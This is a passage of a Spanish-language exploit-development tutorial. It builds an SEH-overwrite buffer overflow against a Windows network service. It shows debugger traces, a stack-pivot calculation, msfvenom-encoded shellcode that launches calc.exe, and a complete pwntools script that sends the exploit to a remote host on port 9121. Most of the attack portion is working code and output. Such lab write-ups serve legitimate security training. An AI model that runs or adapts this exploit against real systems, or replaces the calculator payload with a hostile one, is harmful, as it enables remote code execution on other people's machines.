01c0ff7c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ff8c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ff9c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ffac 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ffbc 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ffcc 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ffdc 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0ffec 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c0fffc 44 44 44 44 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? DDDD????????????
01c1000c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01c1001c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01c1002c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
01c1003c ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
¿Porqué se corta la cadena? Esto ocurre debido a que el límite del stack es la dirección 0x01c0e000 por lo que no logra escribir mas allá de esa dirección.
0:000> !teb
TEB at 0037e000
ExceptionList: 01c0f3fc
StackBase: 01c10000
StackLimit: 01c0e000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 0037e000
EnvironmentPointer: 00000000
ClientId: 00001adc . 00000918
RpcHandle: 00000000
Tls Storage: 005dbc20
PEB Address: 0035a000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
Ya que es probable que encontremos la cadena en algún lugar del stack podemos buscar los bytes del del siguiente SEH que son eb 06 41 41 que aparece 2 veces, si sumamos los 8 bytes para saltar la estructura tenemos la dirección de las D's.
0:000> s -b 01c0e000 01c10000 eb 06 41 41
01c0fa88 eb 06 41 41 dc 2e 13 10-44 44 44 44 44 44 44 44 ..AA....DDDDDDDD
01c0ff4c eb 06 41 41 dc 2e 13 10-44 44 44 44 44 44 44 44 ..AA....DDDDDDDD
0:000> ? 01c0fa88 - esp + 8
Evaluate expression: 1692 = 0000069c
Nuestro exploit se podría ver asi, sumando a esp la diferencia con la dirección donde están las D's para despues saltar a ellas, sin embargo nos olvidamos de algo importante que es el tamaño de estas instrucciones y el alineamiento de la pila.
payload = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x69c")
payload += asm("jmp esp")
payload += b"D" * (1000 - len(payload))
El tamaño de el add y el jmp es de 7 bytes, pero para evitar problemas con el alineamiento del stack usaremos un número divisible entre 4, podemos solo agregar un nop y ahora el tamaño es de 8 bytes que si es divisible entre los 4 bytes.
❯ python3 -q
>>> from pwn import asm
>>> len(asm("add sp, 0x69c") + asm("jmp esp"))
7
>>> len(asm("add sp, 0x69c") + asm("jmp esp") + asm("nop"))
8
>>>
Entonces al tamaño que teniamos le agregamos 8 bytes que es el tamaño de las instrucciones y nos queda 0x6a4 que será la diferencia entre el esp y las D's.
0:000> ? 0x69c + 8
Evaluate expression: 1700 = 000006a4
payload = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x6a4")
payload += asm("jmp esp")
payload += asm("nop")
payload += b"D" * (1000 - len(payload))
Después de ejecutar el add sumando la diferencia ejecutará un jmp esp y como el esp apunta a donde están las D's las ejecutara como instrucciones ensamblador.
0:000> r
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8
eip=01c1ff4c esp=01c1f3f4 ebp=01c1f408 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
01c1ff4c 6681c4a406 add sp,6A4h
0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8
eip=01c1ff51 esp=01c1fa98 ebp=01c1f408 iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000282
01c1ff51 ffe4 jmp esp {01c1fa98}
Esta vez la cadena no se corta y tenemos un tamaño suficiente para un shellcode.
0:000> db esp L100
01c1fa98 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1faa8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fab8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fac8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fad8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fae8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1faf8 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb08 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb18 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb58 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb68 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb78 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
01c1fb88 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8
eip=01c1fa98 esp=01c1fa98 ebp=01c1f408 iopl=0 nv up ei ng nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000282
01c1fa98 44 inc esp
Execute Commands
Ya que tenemos una forma de ejecutar instrucciones podemos generar un shellcode usando msfvenom que en caso de interpretarse ejecutará el comando calc.exe.
❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x02\x0a\x0d\xf8\xfd' -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode = b""
shellcode += b"\xfc\xbb\x4b\x99\xd4\xef\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xb7\x71\x56\xef\x47\x82\x37\x79"
shellcode += b"\xa2\xb3\x77\x1d\xa7\xe4\x47\x55\xe5\x08\x23"
shellcode += b"\x3b\x1d\x9a\x41\x94\x12\x2b\xef\xc2\x1d\xac"
shellcode += b"\x5c\x36\x3c\x2e\x9f\x6b\x9e\x0f\x50\x7e\xdf"
shellcode += b"\x48\x8d\x73\x8d\x01\xd9\x26\x21\x25\x97\xfa"
shellcode += b"\xca\x75\x39\x7b\x2f\xcd\x38\xaa\xfe\x45\x63"
shellcode += b"\x6c\x01\x89\x1f\x25\x19\xce\x1a\xff\x92\x24"
shellcode += b"\xd0\xfe\x72\x75\x19\xac\xbb\xb9\xe8\xac\xfc"
shellcode += b"\x7e\x13\xdb\xf4\x7c\xae\xdc\xc3\xff\x74\x68"
shellcode += b"\xd7\x58\xfe\xca\x33\x58\xd3\x8d\xb0\x56\x98"
shellcode += b"\xda\x9e\x7a\x1f\x0e\x95\x87\x94\xb1\x79\x0e"
shellcode += b"\xee\x95\x5d\x4a\xb4\xb4\xc4\x36\x1b\xc8\x16"
shellcode += b"\x99\xc4\x6c\x5d\x34\x10\x1d\x3c\x53\xe7\x93"
shellcode += b"\x3b\x11\xe7\xab\x43\x06\x80\x9a\xc8\xc9\xd7"
shellcode += b"\x22\x1b\xae\x28\x69\x01\x87\xa0\x34\xd0\x95"
shellcode += b"\xac\xc6\x0f\xd9\xc8\x44\xa5\xa2\x2e\x54\xcc"
shellcode += b"\xa7\x6b\xd2\x3d\xda\xe4\xb7\x41\x49\x04\x92"
shellcode += b"\x22\x0c\x96\x7e\x8a\xab\x1e\xe4\xd2\x33\xdf"
shellcode += b"\xe6\xd2\x33\xdf\xe6"
Nuestro exploit final sobrescribe la estructura SEH para despues de ejecutar el gadget pop; pop; ret; y el short jump haga un stack pivot y salte al shellcode enviado.
#!/usr/bin/python3
from pwn import remote, p32, asm
offset = 124
junk = b"A" * offset
nseh = asm("jmp $+8").ljust(4, b"A")
seh = p32(0x10132edc)
shellcode = b""
shellcode += b"\xfc\xbb\x4b\x99\xd4\xef\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xb7\x71\x56\xef\x47\x82\x37\x79"
shellcode += b"\xa2\xb3\x77\x1d\xa7\xe4\x47\x55\xe5\x08\x23"
shellcode += b"\x3b\x1d\x9a\x41\x94\x12\x2b\xef\xc2\x1d\xac"
shellcode += b"\x5c\x36\x3c\x2e\x9f\x6b\x9e\x0f\x50\x7e\xdf"
shellcode += b"\x48\x8d\x73\x8d\x01\xd9\x26\x21\x25\x97\xfa"
shellcode += b"\xca\x75\x39\x7b\x2f\xcd\x38\xaa\xfe\x45\x63"
shellcode += b"\x6c\x01\x89\x1f\x25\x19\xce\x1a\xff\x92\x24"
shellcode += b"\xd0\xfe\x72\x75\x19\xac\xbb\xb9\xe8\xac\xfc"
shellcode += b"\x7e\x13\xdb\xf4\x7c\xae\xdc\xc3\xff\x74\x68"
shellcode += b"\xd7\x58\xfe\xca\x33\x58\xd3\x8d\xb0\x56\x98"
shellcode += b"\xda\x9e\x7a\x1f\x0e\x95\x87\x94\xb1\x79\x0e"
shellcode += b"\xee\x95\x5d\x4a\xb4\xb4\xc4\x36\x1b\xc8\x16"
shellcode += b"\x99\xc4\x6c\x5d\x34\x10\x1d\x3c\x53\xe7\x93"
shellcode += b"\x3b\x11\xe7\xab\x43\x06\x80\x9a\xc8\xc9\xd7"
shellcode += b"\x22\x1b\xae\x28\x69\x01\x87\xa0\x34\xd0\x95"
shellcode += b"\xac\xc6\x0f\xd9\xc8\x44\xa5\xa2\x2e\x54\xcc"
shellcode += b"\xa7\x6b\xd2\x3d\xda\xe4\xb7\x41\x49\x04\x92"
shellcode += b"\x22\x0c\x96\x7e\x8a\xab\x1e\xe4\xd2\x33\xdf"
shellcode += b"\xe6\xd2\x33\xdf\xe6"
payload = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x6a4")
payload += asm("jmp esp")
payload += asm("nop")
payload += shellcode
payload += b"D" * (1000 - len(payload))
header = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])
content = header + payload
shell = remote("192.168.100.5", 9121)
shell.sendline(content)
Como resultado conseguimos controlar el programa y ejecutar el shellcode que ejecuta el comando calc.exe por lo que se abre una calculadora en la máquina.
